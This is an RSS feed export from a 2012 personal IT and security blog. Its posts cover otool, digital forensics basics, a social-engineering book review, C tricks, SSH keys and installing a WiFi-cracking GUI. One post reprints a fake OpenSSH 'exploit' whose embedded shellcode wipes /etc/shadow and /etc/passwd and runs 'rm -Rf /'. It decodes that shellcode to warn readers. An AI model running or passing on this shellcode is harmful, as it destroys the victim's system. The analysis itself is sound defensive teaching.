<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My IT projects</title>
	<atom:link href="http://www.noktec.be/feed" rel="self" type="application/rss+xml" />
	<link>http://www.noktec.be</link>
	<description>We are conspiracy</description>
	<lastBuildDate>Tue, 08 May 2012 10:18:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>OS X Version of LDD</title>
		<link>http://www.noktec.be/archives/1104</link>
		<comments>http://www.noktec.be/archives/1104#comments</comments>
		<pubDate>Tue, 08 May 2012 10:17:11 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[mac]]></category>
		<category><![CDATA[OS]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ldd]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[otool]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=1104</guid>
		<description><![CDATA[If you need to use the ldd command on OS X you will face an error. ldd -bash: ldd: command not found However, there is a &#8220;similar&#8221; command called otool  on OS X that you can use : otool -L myExecutable For the one who never used it,  the ldd  command is used to show the [...]]]></description>
			<content:encoded><![CDATA[<p>If you need to use the <em>ldd</em> command on OS X you will face an error.</p>
<pre>ldd
-bash: ldd: command not found</pre>
<p>However, there is a &#8220;similar&#8221; command called <em>otool </em> on OS X that you can use :</p>
<pre>otool -L myExecutable</pre>
<p>For the one who never used it,  the <em>ldd </em> command is used to show the dynamic libraries a executable is linked to, or what libraries the executable needs to run.  If the <em>otool </em>command is not recognized on your mac, you probably need to install <em>xcode. </em>You can find the documentation about <em>otool </em><a title="otool" href="https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/otool.1.html" target="_blank" onclick="pageTracker._trackPageview('/outgoing/developer.apple.com/library/mac/_documentation/Darwin/Reference/ManPages/man1/otool.1.html?referer=');">here</a>.</p>
<p>&nbsp;</p>
<pre></pre>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/1104"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/1104/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Digital Forensic Examination 101 &#8212; Part 1</title>
		<link>http://www.noktec.be/archives/1046</link>
		<comments>http://www.noktec.be/archives/1046#comments</comments>
		<pubDate>Thu, 03 May 2012 10:47:01 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[Forensic Examination]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Abertay]]></category>
		<category><![CDATA[Digital Forensic]]></category>
		<category><![CDATA[SecITs]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=1046</guid>
		<description><![CDATA[Digital Forensic Examination also known as Forensic Science is used to recover digital data, this science is often used to find evidence on computers, usb keys, and mobiles but forensic examination can also be used to recover data after a computer crash.  This tutorial will try to help you understand the basics of forensic examination [...]]]></description>
			<content:encoded><![CDATA[<p>Digital Forensic Examination also known as Forensic Science is used to recover digital data, this science is often used to find evidence on computers, usb keys, and mobiles but forensic examination can<br />
also be used to recover data after a computer crash.  This tutorial will try to help you understand the basics of forensic examination on computers &#8211; mobiles and the different problems faced by forensic examiners.</p>
<p>To make it easier, I will set a few questions and I will try to develop the answer, then I will go on with an example of forensic examination, and finally I will develop a small Android Forensic Application. <a href="http://www.noktec.be/wp-content/uploads/2012/05/Screen-Shot-2012-05-03-at-13.32.37.png"><img class="alignright size-full wp-image-1057" title="binary" src="http://www.noktec.be/wp-content/uploads/2012/05/Screen-Shot-2012-05-03-at-13.32.37.png" alt="binary" width="253" height="211" /></a>The project will be stored on GitHub (<a title="here" href="https://github.com/secits" onclick="pageTracker._trackPageview('/outgoing/github.com/secits?referer=');">here</a>) and finally the entire tutorial will be available on SecITs (<a title="here" href="http://www.secits.be" onclick="pageTracker._trackPageview('/outgoing/www.secits.be?referer=');">here</a>).</p>
<ul>
<li>What is a computer crime, and is forensic examination always related to computer crimes ?</li>
<li>What are forensic examiners doing ?</li>
<li>How to become a forensic examiner ?</li>
<li>How strict should a forensic examiner be ?</li>
<li>Forensic examiners VS the law ?</li>
<li>Differences between forensic examination on computers and mobile devices ?</li>
</ul>
<div>I will now try to answer the questions as precisely as possible, do not hesitate to comment the answers if you have any doubt.</div>
<div></div>
<div><strong>What is a computer crime, and is forensic examination always related to computer crimes ?</strong></div>
<div>Forensic examination is not always related to computer crimes, or to crimes in general. Forensic examination can be used to retrieve data on a broken computer, or can be used by hackers to retrieve data on your computer. Forensic examination also helps to fight crime in general, i.e. In an accounting fraud case, the crime has not been committed via a computer, however, the computer might contain some evidence, as well as the mobile phone, or the iPod device etc. This leads us to the first part of the question, defining a computer crime.</div>
<div></div>
<div>A computer crime can be interpreted in multiple ways, in this case we will assume that computer crimes are all of the following :</div>
<div>
<ol>
<li>A crime committed with a computer.</li>
<li>A crime committed against a computer (target).</li>
<li>A crime committed on via/on or with  a digital media/device.</li>
</ol>
</div>
<p><strong>What are forensic examiners doing ?</strong></p>
<p>There is a hierarchy of forensic examiners, I will divide them in multiple categories :</p>
<ol>
<li>First Respond Patrols</li>
<li>Investigators</li>
<li>Specialists</li>
<li>High Tech Examiners</li>
<li>Researchers</li>
</ol>
<div>First Respond Patrols, Investigators are usually the one on first lines, the bottom of the pyramid. They use tools to find evidence, recover data and write reports. They also might have to go with police on crime scenes to make on site investigations.</div>
<div></div>
<div>Specialists and high tech examiners, are usually holding a master degree, they usually read the reports back, however they also might be involved in research, tool creation, and might still have hands on the tools for practice.</div>
<div></div>
<div>Researchers usually hold a PhD in Computer Science, and are exploring new techniques, and new technologies related to forensic examination, however, some of the researchers also investigate crime scenes too.</div>
<div></div>
<div>Note: It is important to understand that investigation conducted at tome levels described above might involve pedophile crimes as well, and that being a forensic examiner is not an easy job every day.</div>
<div></div>
<p><strong>How to become a forensic examiner ?<br />
</strong>Becoming a forensic examiner depends on what you want to do, as explained before there are different level of forensic examiners the first way I would advertise is to go to universities such as the University of <a title="Abertay" href="http://www.abertay.ac.ul" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.abertay.ac.ul?referer=');">Abertay Dundee </a>and follow courses such as <a title="DigitalForensic" href="http://abertay.ac.uk/studying/find/ug/digitalforensics/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/abertay.ac.uk/studying/find/ug/digitalforensics/?referer=');">this</a> or <a title="ethicalHacking" href="http://abertay.ac.uk/studying/find/ug/ethhaccount/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/abertay.ac.uk/studying/find/ug/ethhaccount/?referer=');">this</a> as an undergrad, or <a title="EthicalHacking" href="http://abertay.ac.uk/studying/find/pg/ehcs/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/abertay.ac.uk/studying/find/pg/ehcs/?referer=');">this</a>, <a title="forensic" href="http://abertay.ac.uk/studying/find/pg/pgdf/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/abertay.ac.uk/studying/find/pg/pgdf/?referer=');">this</a> and <a title="biometric" href="http://abertay.ac.uk/studying/find/pg/biomet/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/abertay.ac.uk/studying/find/pg/biomet/?referer=');">this</a> as a postgraduate. However, it is also possible to become a forensic examiner by following a Computer Science cursus and having forensic examinations as hobby. There are multiple communities of ethical hackers and white hat on the web which are advertising for challenges. Doing a PhD might also help you to reach the top of the pyramid and become a digital forensic researcher in a University.</p>
<p><strong>How strict should a forensic examiner be ?  </strong></p>
<p>A forensic examination is a very strict job, all the action performed during the investigation should be recorded on a notebook, each of the action should also be performed on a duplicated image of the original support.</p>
<p>The investigation performed by the forensic examiner will determine if the suspect is guilty or not, at the end of the investigation the forensic examiner will have to hand a partial report back to the court including all the findings, actions, notes. Each of the actions performed during the investigation should be able to be reproduced by another forensic examiner during another forensic examination.</p>
<p>The job of a forensic examiner is very stressful,for example, data should never be altered,data should not be compromised, the written report should be partial, and should not include feelings. The forensic examiner should always stay aware that he is cannot judge, and that its report will help the court to take the right decision in favor or in disfavor of a suspect.</p>
<p>The forensic examiner might also be obliged to testify in a court, on his actions on the device, or on the case. This may add pressure on the shoulders of a forensic examiner.</p>
<p>Key words : Partial, Strict, Organized, Structure, Reports.</p>
<p><strong>Forensic examiners VS the law ? </strong></p>
<p>As said in the previous question, each action performed on a device will have consequences, and the law is strict. Forensic examiners cannot make errors, they have to write a detailed report about their findings, the data gathered, the pictures encountered and the commands they were running on the image or on the hard drive / mobile device / usb key etc they received. Forensic examiners will always be the one responsible if something goes wrong during an investigation and forensic examiners might have to testify in front of a court, they  might also have to face the suspect. A forensic examiner has a lot of responsibilities, being partial organized and strict as explained before.</p>
<p>A forensic examiner has to follow standards during an investigation, such as the ACPO guide lines. These standards will be described in the second part of this tutorial.</p>
<p><strong>Differences between forensic examination on computers and mobile devices ?</strong></p>
<p>Forensic examination is a tricky field.</p>
<p>i.e. computers can be accessed at any time, they can also be dissembled, hard drives can be taken away and investigated in another place, while mobile devices are running on battery, do not possesses hard drives, but flash drives and do not follow the same architecture. Below some problems occurring with mobile devices :</p>
<p>Mobile devices can run closed operating systems such as iOS, or Android, some &#8220;parts&#8221; might not be accessible,  be encrypted, be protected via a code or a pattern, can run out of battery, and data might not be accessed easily.</p>
<p>Some proprietary / open source softwares exist,and are updated following the multiple devices on the market, but as we know, mobile devices are following an exponential growth at the moment, and it can make the life of a forensic examiner a nightmare. In the last tutorial we will explore a way of doing a &#8220;small forensic examination&#8221; on an Android Device, and develop a small forensic framework in Java. This application will try to overcome the problems described above and will help forensic examiners to retrieve data from smartphones.</p>
<p>This was the first part of  &#8221;Digital Forensic Examination 101&#8243;, in part2 we will see how to conduct a forensic examination on a fake computer case.</p>
<p><em><span style="color: #000000;">Note: These series of articles / tutorials are meant to be as exhaustive as possible, I would therefore appreciate your comments and I will edit / correct / update  the articles accordingly. If you have any questions feel free to ask in the comments, or contact me via the contact form [<a title="Here" href="http://www.noktec.be/contact_page" target="_blank"><span style="color: #000000;">here</span></a>] </span></em></p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/1046"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/1046/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Review] Social Engineering: The Art of Human Hacking</title>
		<link>http://www.noktec.be/archives/1034</link>
		<comments>http://www.noktec.be/archives/1034#comments</comments>
		<pubDate>Tue, 24 Apr 2012 10:20:30 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[human hacking]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[Social engineering]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=1034</guid>
		<description><![CDATA[I have been reading the &#8220;Social Engineering: The Art of Human Hacking&#8221; twice lately, the first time to have an overview of the book, and the second time to improve the techniques I tried to apply after my first reading. My first reading was fast, I wanted to know what techniques Christopher Hadnagy (the author) [...]]]></description>
			<content:encoded><![CDATA[<p>I have been reading the &#8220;Social Engineering: The Art of Human Hacking&#8221; twice lately, the first time to have an overview of the book, and the second time to improve the techniques I tried to apply after my first</p>
<div id="attachment_1035" class="wp-caption alignright" style="width: 342px"><a href="http://www.noktec.be/wp-content/uploads/2012/04/ArtofHumanHacking.jpg"><img class="size-full wp-image-1035" title="ArtofHumanHacking" src="http://www.noktec.be/wp-content/uploads/2012/04/ArtofHumanHacking.jpg" alt="Social Engineering: The Art of Human Hacking" width="332" height="500" /></a><p class="wp-caption-text">Social Engineering: The Art of Human Hacking</p></div>
<p>reading.</p>
<p>My first reading was fast, I wanted to know what techniques Christopher Hadnagy (the author) was using. After the first chapter I thought, &#8220;This guys knows what he is talking about&#8221;.  Chapters by chapters the author described techniques that he used to fool people, ways to ask questions, situations, etc.</p>
<p>The first chapters are  introductory chapters to social engineering techniques, information gathering, etc , however after the two first introductory chapters, the author introduces the reader to elicitation techniques, pretexting techniques, scenarios, which in my opinion where very well defined and covered.</p>
<p>The book then covers, faces expression, sometimes a bit to fast in my opinion, then goes on with Neuro-Linguistic Programming (NLP). NLP was probably the most confusing part for me, however Christopher covered it very well, he introduces the psychological part of Social Engineering, and thinking models. The book also details the power of persuasion as well as  how social engineers should listen to their targets.</p>
<p>In one of the chapters Christopher also covers social engineering tools and software that can be used against targets, in my opinion this chapters wasn&#8217;t necessary to the book. I had already used all the tools Christopher mentioned, and I would have definitely preferred one more chapter about persuasion, or &#8220;how to question a suspects&#8221;.</p>
<p>The end of the books covers the prevention, and how companies could prevent a social engineer to gather data. This chapter covers six steps that should be taught to employees.</p>
<p>After this first reading I was already convinced that the book would be useful, and I began to practice the author&#8217;s techniques on random people to improve my skills, I tried to pay attention to micro expressions while walking in the streets or while talking to people, I also tried some of the techniques on my friends, I tried to convince people etc. and it worked pretty well, and that&#8217;s how I decided to read the book once again, while keeping in mind that the book had been written by a social engineer.</p>
<p>During my second reading, I noticed that Christopher uses repetitions a lot in the book, a technique that Apple uses to convince people as well (did he wanted to convince us that the its book was awesome ?), another small annoying problem are the non shortened links present in the book when the author refers to its website or to youtube.</p>
<p>My second reading helped me to understand Neuro-Linguistic Programming (NLP) a bit more, and I had now time to read a bit more about NLP beside the book, I could also apply some more techniques, and then refer back to the book to compare my results and improve my trials.</p>
<p>I would say that the second reading was worth it, it helped me to improve the techniques I wasn&#8217;t &#8220;mastering&#8221; as well has having a better understanding of some chapters covered in the book.</p>
<p>To conclude, I would say that I read a few books on how to convince people, and on social engineering but this book is in my opinion the one which covers the best the psychological part of social engineering. I can also say that the examples given in the book did always make sense (which was not the case in all the books I read before). The author also pointed out very well the fact that to be &#8220;secure&#8221; you should be able to understand the techniques used by social engineers. This book might also help readers to have a better understanding of the people surrounding them, such as friends, family, and even children, since the book clearly points out the importance of &#8220;listening&#8221;.  Finally I sincerely recommend this book, to penetration testers, social engineers, psychology students and finally to everybody interested in security.</p>
<p>&nbsp;</p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/1034"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/1034/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C Language Tricks</title>
		<link>http://www.noktec.be/archives/906</link>
		<comments>http://www.noktec.be/archives/906#comments</comments>
		<pubDate>Sun, 25 Mar 2012 14:34:06 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[trick]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=906</guid>
		<description><![CDATA[I have been using C for a couple of years now and I always thought about writing a small post about C tricks I learnt over the years, and here I am. This morning I basically came acros a website showing a few C tricks that I already used and I finally got the inspiration [...]]]></description>
			<content:encoded><![CDATA[<p>I have been using C for a couple of years now and I always thought about writing a small post about C tricks I learnt over the years, and here I am. This morning I basically came acros a website showing a few C tricks that I already used and I finally got the inspiration to write my C tricks as well.</p>
<p>&nbsp;<br />
<strong>The first tricks I have been using sometimes is the following :</strong></p>
<pre>int i = "ABCD";</pre>
<p>This stores the hexadecimal values of ABCD into I which should set the values to 0&#215;41424344 (A = 41, B = 42, C = 43, D=44). I used this trick a couple of times for debugging purposes since it is easier to find ABCD or 0&#215;41424344 than another value.</p>
<p><strong>2)  The next C trick I have is the following :</strong></p>
<pre>int a = 1;
int b = 2;

a ^=b;
b ^=a;
a ^=b;</pre>
<p>In this short example, the xor function is used</p>
<p>&nbsp;</p>
<p style="text-align: center;">XOR</p>
<p style="text-align: center;">0 | 0 = 0</p>
<p style="text-align: center;">0 | 1 = 1</p>
<p style="text-align: center;">1 | 0 = 1</p>
<p style="text-align: center;">1 | 1 =0</p>
<p style="text-align: left;">Applied to our values it gives us the following :</p>
<p>&nbsp;</p>
<pre>a = 00000001 or 1
b = 00000010 or 2

a ^=b;
00000001
00000010
--------
00000011 = a or 3

b ^=a;
00000010
00000011
--------
00000001 = b or 1

Finally

a ^=b;
00000011
00000001
--------
00000010 = a or 2</pre>
<p>As shown we inverted the values of &#8216;a&#8217; and &#8216;b&#8217; without using a third variable.</p>
<p><strong>3) The third trick is about structures :</strong></p>
<pre>
#include <stdio.h>

typedef struct myStruct{
        int x;
        int y;
        int z;
}myStruct;

myStruct ms={.x =1, .y=2, .z=3};

int main(void){

printf("test: %d",ms.x);
return 1;
}</pre>
<p>As shown, the variables of the structure have been initialized at compile time and not first at 0. You can also use </p>
<pre>
struct myStruct myStruct = {1};
</pre>
<p>which will initialize all the elements to 1;</p>
<p>That&#8217;s all I got/remember at the moment, if I come across some other cool tricks (that I used) I&#8217;ll just update the post. </p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/906"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/906/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basic Shellcode Analysis</title>
		<link>http://www.noktec.be/archives/894</link>
		<comments>http://www.noktec.be/archives/894#comments</comments>
		<pubDate>Fri, 24 Feb 2012 20:13:06 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[OS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=894</guid>
		<description><![CDATA[Analyzing a shellcode is always instructive, it can give the penetration tester hints about what is used in it, or the penetration tester can learn about the techniques used, but he might also prevent himself to use destructive shellcodes. After a few searches on the Internet I found a pastebin page to illustrate my example. [...]]]></description>
			<content:encoded><![CDATA[<p>Analyzing a shellcode is always instructive, it can give the penetration tester hints about what is used in it, or the penetration tester can learn about the techniques used, but he might also prevent himself to use destructive shellcodes.</p>
<p>After a few searches on the Internet I found a pastebin page to illustrate my example.</p>
<p>The following page (<a href="http://pastebin.com/sg77hWrg ." onclick="pageTracker._trackPageview('/outgoing/pastebin.com/sg77hWrg_.?referer=');">here</a>) claims that there is a 0 day exploit for <strong>openSSH 5.7 0day exploit. </strong>The page do not give any instructions, and displays a basic C code to compile with GCC on a linux machine. Below you can see the code :</p>
<pre>/*
openSSH 5.7 0day exploit
Off by One error in auth2-pubkey.c
Author: Chroniccommand
Usage: ./exploit
greetz to _st4ck3d*, x3n0n, xin etc you know who you are <img src='http://www.noktec.be/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include 

void usage(char *argv[])
{
  printf("Usage: %s  \n", argv[0]);
  exit(1);
}

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();
  exit(1);
  char payload[1024];
  memcpy(payload, &amp;shellcode, sizeof(shellcode));
  if(connect(sock,(struct sockaddr*)&amp;addr,sizeof(addr))==0)
  {
    printf("[+]Got shell\n");
    system("/bin/sh");
  }
  else if(connect(sock,(struct sockaddr*)&amp;addr, sizeof(addr))==-1)
  {
    fprintf(stderr, "[!!]Exploit failed\n");
    exit(1);
  }
}</pre>
<p>The exploit seems to be fine, and I guess a lot of people tried that exploit on their own machine, without looking inside the exploit.  Before executing that exploit, this is what they should have done, and this is actually what you should always do !</p>
<ul>
<li>Analyse it without executing it</li>
</ul>
<p>Below you may see how to reverse an exploit with Perl or  Python :</p>
<pre>$perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74
\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"' &gt; exploit</pre>
<pre>$strings exploit</pre>
<p>or in Python</p>
<pre>$python -c 'print "x6ax0bx58x99x52x66x68x2dx63x89xe7x68x2fx73x68x00x68x2fx62x69x6ex89xe3x52xe8x39x00x00x00x65x63x68x6fx20x22x22x20x3ex20
x2fx65x74x63x2fx73x68x61x64x6fx77x20x3bx20x65x63x68x6fx20x22x22x20x3ex20x2fx65x74x63x2fx70x61x73x73x77x64x20x3bx20x72x6dx20x2dx52x66x20x2fx00x57x53x89xe1xcdx80"' &gt; exploit</pre>
<pre>
$strings exploit</pre>
<p>And this is the result that you should obtain:</p>
<pre>Rfh-c
h/sh
h/bin
echo "" &gt; /etc/shadow ; echo "" &gt; /etc/passwd ; rm -Rf /</pre>
<p>As shown in the previous table the code tries to execute the a &#8220;rm -Rf&#8221; on our hard drive and delete everything !</p>
<p>That&#8217;s why it is important to always reverse the shellcodes you are using before hand !</p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/894"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/894/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSH known host on OSX</title>
		<link>http://www.noktec.be/archives/889</link>
		<comments>http://www.noktec.be/archives/889#comments</comments>
		<pubDate>Mon, 13 Feb 2012 14:02:21 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[mac]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[OS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[known_hosts]]></category>
		<category><![CDATA[remove]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=889</guid>
		<description><![CDATA[To manage my multiple machines and test computers on my local network I use SSH, and often after reinstalling a test machine I want to connect back by SSH and my Mac just pops me back this message : noktec:release Noktec$ ssh xavier@192.168.0.2 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS [...]]]></description>
			<content:encoded><![CDATA[<p>To manage my multiple machines and test computers on my local network I use SSH, and often after reinstalling a test machine I want to connect back by SSH and my Mac just pops me back this message :</p>
<pre>noktec:release Noktec$ ssh xavier@192.168.0.2
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
********************************
Please contact your system administrator.
Add correct host key in /Users/Noktec/.ssh/known_hosts to get rid of this message.
Offending key in /Users/Noktec/.ssh/known_hosts:12
RSA host key for 192.168.0.2 has changed and you have requested strict checking.
Host key verification failed.</pre>
<p>I usually find this message quiet annoying, but knows the commands to avoid this problem, but today while speaking with a friend, he told me that he was usually deleting the SSH keys by hand in its &#8220;known_hosts&#8221; file. As there are some appropriate commands to do this I thought it would be a good idea to post them on my blog, and here they are :</p>
<pre>ssh-keygen -R machine-name
ssh-keygen -R 192.168.0.2
ssh-keygen -R MyMachine.com</pre>
<p>And that&#8217;s it, you will now be able to delete the ssh key without having to modify your &#8220;known_hosts&#8221; file by hand.</p>
<p>&nbsp;</p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/889"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/889/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing Gerix on Ubuntu from Backtrack&#8217;s repository</title>
		<link>http://www.noktec.be/archives/885</link>
		<comments>http://www.noktec.be/archives/885#comments</comments>
		<pubDate>Fri, 10 Feb 2012 17:11:10 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[OS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[802.11]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[gerix]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[repository]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=885</guid>
		<description><![CDATA[GerixWiFiCracker is GUI for Aircrack-ng suite, is designed for pentesting in a realworld with efficent and userfriendly graphic interface. Note: This small tutorial is based on the repositories from backtrack 5 R1 and ubuntu 11.10 The first step is to add those lines to &#8220;etc/apt/sources.list&#8221; deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing deb http://32.repository.backtrack-linux.org revolution [...]]]></description>
			<content:encoded><![CDATA[<p>GerixWiFiCracker is GUI for Aircrack-ng suite, is designed for pentesting in a realworld with efficent and userfriendly graphic interface.</p>
<p><strong><em>Note: This small tutorial is based on the repositories from backtrack 5 R1 and ubuntu 11.10</em></strong></p>
<p>The first step is to add those lines to <em>&#8220;etc/apt/sources.list&#8221;</em></p>
<pre>deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing<br/><br/>

deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing<br/><br/>

deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing<br/><br/>
</pre>
<p>Once those lines added to the sources.list files you can run the command</p>
<pre>$ sudo apt-get update </pre>
<p>And finally to install gerix you can finally run this last command :</p>
<pre>$ sudo apt-get install gerix-wifi-cracker-ng </pre>
<p>And that&#8217;s it.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/885"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/885/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Purge OS X inactive Memory</title>
		<link>http://www.noktec.be/archives/875</link>
		<comments>http://www.noktec.be/archives/875#comments</comments>
		<pubDate>Sat, 04 Feb 2012 18:28:15 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[mac]]></category>
		<category><![CDATA[OS]]></category>
		<category><![CDATA[inactive]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[purge]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=875</guid>
		<description><![CDATA[The memory in OSX is divided in four important categories such as shown below : &#160; Those &#8220;types&#8221; of memory combined together are the full size of your ram, in my case 8Gb. Each type as a specific function in OS X those are described below : Free: This is RAM that&#8217;s not being used. [...]]]></description>
			<content:encoded><![CDATA[<p>The memory in OSX is divided in four important categories such as shown below :</p>
<p>&nbsp;</p>
<p><a href="http://www.noktec.be/wp-content/uploads/2012/02/Screen-Shot-2012-02-04-at-18.16.07.png"><img class="aligncenter size-full wp-image-876" title="Screen Shot 2012-02-04 at 18.16.07" src="http://www.noktec.be/wp-content/uploads/2012/02/Screen-Shot-2012-02-04-at-18.16.07.png" alt="" width="545" height="181" /></a></p>
<p>Those &#8220;types&#8221; of memory combined together are the full size of your ram, in my case 8Gb. Each type as a specific function in OS X those are described below :</p>
